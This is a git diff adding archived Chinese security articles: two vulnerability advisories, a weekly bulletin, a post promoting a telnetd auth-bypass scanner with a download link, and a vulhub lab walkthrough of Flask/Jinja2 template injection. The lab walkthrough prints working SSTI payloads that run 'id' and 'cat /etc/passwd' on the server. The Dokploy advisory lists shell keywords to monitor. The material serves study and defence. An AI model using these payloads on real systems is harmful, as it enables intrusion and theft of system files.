diff --git a/data.json b/data.json index c1ea3067..3bffb201 100644 --- a/data.json +++ b/data.json @@ -17378,5 +17378,10 @@ "https://mp.weixin.qq.com/s/riytASFc-80HU5mOKmEQ_Q": "NestJS Devtools 远程命令执行漏洞(CVE-2025-54782)", "https://mp.weixin.qq.com/s/ParjTWUdruIZtucozNtzpg": "端口没开也能激活+rce？ebpf∕XDP 内核级隐蔽后门原理剖析", "https://mp.weixin.qq.com/s/u86IWqfZSyBpw0UtOEGa6w": "工信部致谢！360荣膺“优秀技术支撑单位”并获颁原创漏洞证书", - "https://mp.weixin.qq.com/s/gkTYdxftr88P1QFYF4oPLA": "北京快手招聘：客户端漏洞挖掘工程师（安全蓝军）" + "https://mp.weixin.qq.com/s/gkTYdxftr88P1QFYF4oPLA": "北京快手招聘：客户端漏洞挖掘工程师（安全蓝军）", + "https://mp.weixin.qq.com/s/BQ_ODcsJyCHurVeZl4bR5Q": "GNU Inetutils Telnetd 认证绕过漏洞检测工具（CVE-2026-24061）1月28日更新", + "https://mp.weixin.qq.com/s/QekrIfYWGua9XwAfhAketg": "TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756）", + "https://mp.weixin.qq.com/s/v-ldCqM4B9a7GTgMC-JH4w": "这种漏洞你的服务器存在吗？", + "https://mp.weixin.qq.com/s/Ye5xstDmrQVJ1d4o5ZLwzg": "【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841", + "https://mp.weixin.qq.com/s/6dbH5lmWHEQHOJhivj7lEQ": "信息安全漏洞周报【第058期】" } \ No newline at end of file diff --git a/doc/2026-01/GNU Inetutils Telnetd 认证绕过漏洞检测工具（CVE-2026-24061）1月28日更新.md b/doc/2026-01/GNU Inetutils Telnetd 认证绕过漏洞检测工具（CVE-2026-24061）1月28日更新.md new file mode 100644 index 00000000..89601572 --- /dev/null +++ b/doc/2026-01/GNU Inetutils Telnetd 认证绕过漏洞检测工具（CVE-2026-24061）1月28日更新.md @@ -0,0 +1,75 @@ +# GNU Inetutils Telnetd 认证绕过漏洞检测工具（CVE-2026-24061）1月28日更新 +MY0723 + MY0723 Web安全工具库 2026-01-30 16:02 + +=================================== + +**免责声明** + +请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络， +安全性自测 +， +大家都要把工具当做病毒对待，在虚拟机运行。 +如有侵权请联系删除。个人微信： +ivu123ivu + + +**0x01 工具介绍** + +这是一个用于检测 GNU Inetutils Telnetd 认证绕过漏洞 (CVE-2026-24061) 的高级检测工具。该漏洞CVSS评分高达9.8，攻击者可通过环境变量注入实现无需认证的root权限获取。功能特性： +``` +✅ 多线程批量检测 - 支持并发扫描多个目标 +✅ 智能漏洞识别 - 基于uid=0/gid=0特征的多重检测 +✅ 详细输出模式 - 支持彩色终端输出和详细日志 +✅ 结果导出 - 可将漏洞结果保存到文件 +✅ 协议标准实现 - 基于RFC 1572 Telnet协议标准 +✅ 跨平台支持 - 支持Windows/Linux/macOS +``` + +漏洞信息： +``` +CVE编号: CVE-2026-24061 +CVSS评分: 9.8 (严重) +影响范围: GNU Inetutils 1.9.3 - 2.7 +漏洞类型: 认证绕过 +技术原理: 基于RFC 1572标准的环境变量注入 +``` + + +**0x02 安装与使用** + +常用命令 +``` +1. 单目标检测 +python3 CVE-2026-24061.py 192.168.1.1 +2. 批量检测 +# 创建目标文件 +echo "192.168.1.1" > targets.txt +echo "192.168.1.2" >> targets.txt +echo "192.168.1.3" >> targets.txt +# 执行批量检测 +python3 CVE-2026-24061.py -f targets.txt +3. 高级参数配置 +# 指定端口和线程数 +python3 CVE-2026-24061.py -f targets.txt -p 23 -t 50 +# 详细模式并保存结果 +python3 CVE-2026-24061.py -f targets.txt -o results.txt -v +# 自定义超时时间 +python3 CVE-2026-24061.py -f targets.txt -T 10 +``` + +运行界面 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibu87CMu0Ij0jx598icNLPwDBRFgWNjx7KW653BobZZ5EpV63f0iaKh7uUWor7nP9caM04hXKAfnQgYQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibu87CMu0Ij0jx598icNLPwDBibMpquWtrn6AxVC5b8SsubE27eDYwUhJEeRresMIbP053oGKdpIa00A/640?wx_fmt=png&from=appmsg "") + +**** +网盘下载链接（一定要在虚拟机运行）： + +链接：https://pan.quark.cn/s/8842a28e10ca + +**** +
+ diff --git a/doc/2026-01/TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756）.md b/doc/2026-01/TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756）.md new file mode 100644 index 00000000..06ae8eb9 --- /dev/null +++ b/doc/2026-01/TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756）.md @@ -0,0 +1,79 @@ +# TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756） +邑安科技 + 邑安科技 邑安全 2026-01-30 08:36 + +更多全球网络安全资讯尽在邑安全 + +# 一、 漏洞概述 + + + +近日，网络安全机构披露 TP-Link Archer MR600 v5 路由器存在高危命令注入漏洞，漏洞编号为：CVE-2025-14756，CVSS v4.0 评分为 8.5 分，漏洞威胁等级：高危。 + +该漏洞存在于路由器固件的管理界面组件中，拥有认证凭证的攻击者可通过浏览器开发者控制台提交特制输入，注入任意系统命令，进而干扰设备服务或完全控制受影响路由器。尽管注入命令存在字符长度限制，但仍可导致设备被全面攻破，对网络基础设施的机密性、完整性和可用性构成重大威胁。 + +![](https://mmbiz.qpic.cn/mmbiz_png/1N39PtINn8uK9s8hTQ0GibLkhib4sicnD5jvLoj89pCG456yf7KV1spqqrrrUyv0giawblc2RQ6AYiapGqyIQ8j6F0g/640?wx_fmt=png&from=appmsg "") + +# 二、 漏洞分析 + +TP-Link Archer MR600 v5 命令注入漏洞 + +漏洞编号 +: CVE-2025-14756 + +漏洞类型:  +命令注入 + +简述: 漏洞源于 Archer MR600 v5 路由器固件管理界面对用户输入缺乏有效过滤机制。攻击者在获取设备管理权限后，可通过浏览器开发者工具构造恶意输入，绕过字符长度限制注入系统命令，执行恶意操作。 + +攻击需满足 “相邻网络访问” 和 “高权限认证” 条件，但一旦成功利用，可实现对路由器的完全控制，成为网络横向移动的跳板，尤其对企业环境的网络安全危害显著。 +# 三、 影响版本 +

漏洞

影响版本

CVE-2025-14756

TP-Link Archer MR600 v5

固件版本 < 1.1.0、0.9.1、v0001.0 build 250930 rel.63611n（即 0.9.1 及以下版本）

# 四、 防护方案 + +修复建议： + +1、 +官方升级修复：TP-Link 已发布修复固件，建议用户立即下载并安装最新版本，修补命令注入漏洞。 + + +https://www.tp-link.com/en/support/download/archer-mr600/[#Firmware]() + + + + +2、临时防护措施： + +网络分段限制：实施网络分段，仅允许可信终端访问路由器管理接口，减少攻击面；强化访问控制：严格管控路由器管理权限，避免弱密码，定期更换管理员凭证； + +监控异常行为：持续监控路由器系统日志，重点关注可疑命令执行模式，及时发现攻击尝试； + +限制管理接口暴露：非必要情况下，避免将路由器管理接口暴露在公网环境。 +# 五、 时间线 + +2026 年 01 月 26 日：中国国家信息安全漏洞共享平台（CNNVD）收录该漏洞，分配编号 CNNVD-202601-4348。 + +2026 年 01 月 28 日：CNNVD 对该漏洞信息进行更新。 +# 六、 相关链接 + +https://www.tp-link.com/en/support/download/archer-mr600/[#Firmware]() + + +欢迎收藏并分享朋友圈，让五邑人网络更安全 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/1N39PtINn8tD9ic928O6vIrMg4fuib48e1TsRj9K9Cz7RZBD2jjVZcKm1N4QrZ4bwBKZic5crOdItOcdDicPd3yBSg/640?wx_fmt=jpeg "") + +欢迎扫描关注我们，及时了解最新安全动态、学习最潮流的安全姿势！ + +推荐文章 + +1 + +[新永恒之蓝？微软SMBv3高危漏洞（CVE-2020-0796）分析复现](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247488913&idx=1&sn=acbf595a4a80dcaba647c7a32fe5e06b&chksm=fa39554bcd4edc5dc90019f33746404ab7593dd9d90109b1076a4a73f2be0cb6fa90e8743b50&scene=21#wechat_redirect) + + +2 + +[重大漏洞预警：ubuntu最新版本存在本地提权漏洞（已有EXP）　](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247483652&idx=1&sn=b2f2ec90db499e23cfa252e9ee743265&chksm=fa3941decd4ec8c83a268c3480c354a621d515262bcbb5f35e1a2dde8c828bdc7b9011cb5072&scene=21#wechat_redirect) + + + diff --git a/doc/2026-01/【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841.md b/doc/2026-01/【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841.md new file mode 100644 index 00000000..06f07eef --- /dev/null +++ b/doc/2026-01/【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841.md @@ -0,0 +1,35 @@ +# 【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841 +cexlife + cexlife 飓风网络安全 2026-01-30 14:00 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu030LEfS2DiaeMB7hk2LPodvfbnOdM60vclzCUTeuZ9szz0JXicfFnyL3TFXGEkouf2alln0fPGgnqicA/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +Dоkрlоу是一个免费的、可自托管的平台即服务（PааS）在0.26.6版本之前,Dоkрlоу的WеbSосkеt端点/dосkеr-соntаinеr-tеrminаl存在一个严重命令注入漏洞,соntаinеrId和асtivеWау参数未经净化直接插入到ѕhеll命令中,允许已认证的攻击者在主机服务器上执行任意命令0.26.6版本已修复此问题  + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu030LEfS2DiaeMB7hk2LPodvfMiboOYdMdgVfOpchQdkhMILdmAZNWgAjFzGoWZEn3qUWwmkNzNvsWZg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu030LEfS2DiaeMB7hk2LPodvfvAH0QRyFPV2RWp1FSiaEB4XKZWpLJvvxoHYTia0icicD4bkPfQuKADHI8g/640?wx_fmt=png&from=appmsg "") + +攻击场景: + +攻击者需具备低权限认证账户通过向/docker-container-terminal WebSocket端点发送特制请求利用containerId和activeWay参数将恶意输入直接注入系统shell命令中,从而在主机服务器上执行任意命令 + +修复建议: + +目前官方已有可更新版本,建议受影响用户升级至最新版本  + +建议措施: + +立即升级：所有使用 Dokploy 的用户应立即升级至 0.26.6 或更高版本,以修复该漏洞 + +输入验证与过滤：若无法立即升级，应通过中间件（如 Nginx、API 网关）对/docker-container-terminal接口的containerId和activeWay参数进行白名单校验与特殊字符过滤 + +最小权限原则：限制普通用户的 WebSocket 权限，避免其访问容器终端功能。 + +监控与日志审计：启用对 /docker-container-terminal 接口的访问日志记录，重点关注异常命令调用（如 bash -c, sh -c, wget, curl, rm -rf 等） + +网络隔离：将 Dokploy 服务部署于隔离网络中，限制外部访问，仅允许可信 IP 访问管理接口 + + diff --git a/doc/2026-01/信息安全漏洞周报【第058期】.md b/doc/2026-01/信息安全漏洞周报【第058期】.md new file mode 100644 index 00000000..4b6268b8 --- /dev/null +++ b/doc/2026-01/信息安全漏洞周报【第058期】.md @@ -0,0 +1,37 @@ +# 信息安全漏洞周报【第058期】 +零零捌信安观察 + 零零捌信安观察 银天信息 2026-01-30 09:24 + +  +零零捌信安观察近期注意到，国家信息安全漏洞共享平台（CNVD）及国家信息安全漏洞库（CNNVD）等权威机构发布了最新的安全公告。经过我们团队的分析和筛查，我们收录了以下被认定为风险的安全漏洞信息。 + + 目前，相关官方机构已经发布了针对这些安全漏洞的补丁和修复方案。我们建议相关用户和组织及时关注并采取相应的安全措施，以确保信息系统的安全和稳定。 + +  收录的漏洞详细信息如下： + +![](https://mmbiz.qpic.cn/mmbiz_png/iaM7XcVgdNJcMUdvgvOmFPI5lysGeCpMkw7zBhOdmR8UtaWSxsiaSoQjbF7MSlqjwEib9Kh6MbkAGxGRzL1m5Hibuw/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/iaM7XcVgdNJcMUdvgvOmFPI5lysGeCpMkR0dnBhUAiaLouQhFVgQXjeKOEKyciawjQVrzk9qX6Jy18dZ993SvLJnQ/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/iaM7XcVgdNJcMUdvgvOmFPI5lysGeCpMkVgtyYIt6TzrSQ27GmeEJm0qjuOpuKN5QvMFibGYcpFPDR8uBDYXgJicg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/iaM7XcVgdNJcMUdvgvOmFPI5lysGeCpMkb0TpdJLsQnmX7NfIc08U2mEWoBicFQhCkvEGiaAzCTYUdic1dZVoXhIqw/640?wx_fmt=png&from=appmsg "") + + + + +**** +**服务热线****：** + +**400-996-5191** + + +供稿：肖杰 + +编校：周晶晶 + +审核：李孔民 + diff --git a/doc/2026-01/这种漏洞你的服务器存在吗？.md b/doc/2026-01/这种漏洞你的服务器存在吗？.md new file mode 100644 index 00000000..2df0a629 --- /dev/null +++ b/doc/2026-01/这种漏洞你的服务器存在吗？.md @@ -0,0 +1,128 @@ +# 这种漏洞你的服务器存在吗？ +原创 建哥聊安全 + 建哥聊安全 建哥聊安全 2026-01-30 08:16 + +# Flask（Jinja2）服务端模板注入（SSTI）漏洞 +## 实验目的 + +通过本实验，掌握服务端模板注入（ +SSTI）漏洞原理和利用方法，利用命令执行漏洞获取敏感信息。 +## 实验环境 + +· +操作机： +Win10 + +用户名： +Administrator + +密码： +Sangfor!7890 + +· +靶机： +Ubuntu + docker + +用户名： +root + +密码： +Sangfor!7890 + +· +实验地址： +http://靶机ip:8000?name={{233*233}} +## 实验原理 + +注入类型的漏洞，常见 +Web注入有：SQL注入，XSS注入，XPATH注入，XML注入，代码注入，命令注入等等。注入漏洞的实质是服务端接受了用户的输入，未过滤或过滤不严谨执行了拼接了用户输入的代码，因此造成了各类注入。而服务端模板注入和常见Web注入的成因一样，也是服务端接收了用户的输入，将其作为Web应用模板内容的一部分，在进行目标编译渲染的过程中，执行了用户插入的恶意内容，因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 + +Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug，模板引擎则使用Jinja2。 +## 实验步骤 +### 第一步启动目标靶机的环境 + +1、登陆"Flask"靶机，执行如下命令，进入目标环境所在目录 + +cd /vulhub-master + +cd flask + +cd ssti + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2q9GwmEb4xNWPHmbpLiaDLsk4AweNjC62RRVZOBt0t7CLibrf5MYhznDYw/640?wx_fmt=png&from=appmsg "") + +2、执行以下命令，运行目标靶机的环境 + +docker-compose up -d + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2qQABJaxoeR6jz0FaKTvJFDWyp6aB22HxjGl5ibibwkTkibmqJKhnHRt0GQ/640?wx_fmt=png&from=appmsg "") + + +3、登录“Attack”操作机，打开浏览器，访问http://靶机ip:8000，看到Hello页面，说明靶机环境启动成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2q8kicr8UEpVvO9BtWawWrP6H7OdbxNYicLylmjK9pAQupl4xAXZnxIdPg/640?wx_fmt=png&from=appmsg "") + + +### 第二步漏洞复现 + +4、通过“Attack”操作机的浏览器访问http://靶机ip:8000?name={{233*233}}，得到54289，说明SSTI漏洞存在 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2qrwe6nucWgINia4ArJd5OD3YrxkPrjra4UF5FsWrPriauCj4W5UpsJ25A/640?wx_fmt=png&from=appmsg "") + +5、将name参数的值更换为如下代码（获取eval函数并执行任意python代码的POC），执行命令成功 + +{% for c in [].__class__.__base__.__subclasses__() %} + +{% if c.__name__ == 'catch_warnings' %} + +{% for b in c.__init__.__globals__.values() %} + +{% if b.__class__ == {}.__class__ %} + +{% if 'eval' in b.keys() %} + +{{ b['eval']('__import__("os").popen("id").read()') }} + +{% endif %} + +{% endif %} + +{% endfor %} + +{% endif %} + +{% endfor %} + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2qyTbOXzrVrhvJDgG5zBtP1B3LPKURa6d0UNrmJTGp3RgWYvWXZy1ibcA/640?wx_fmt=png&from=appmsg "") + + 6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”，即： + +{% for c in [].__class__.__base__.__subclasses__() %} + +{% if c.__name__ == 'catch_warnings' %} + +{% for b in c.__init__.__globals__.values() %} + +{% if b.__class__ == {}.__class__ %} + +{% if 'eval' in b.keys() %} + +{{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }} + +{% endif %} + +{% endif %} + +{% endfor %} + +{% endif %} + +{% endfor %} + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaMRPJ9yf4p2sPPsxdV21b2qNB4cgbLjbFEicKT0T47y9EeGibBWVicPDPS5tfyPmzPOAMCvh8UHvoTRg/640?wx_fmt=png&from=appmsg "") +## 实验总结 + +通过本实验，通过复现 +Flask（Jinja2）服务端模板注入（SSTI）漏洞，了解模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程，服务器模板中拼接了恶意用户输入导致各种漏洞。 + +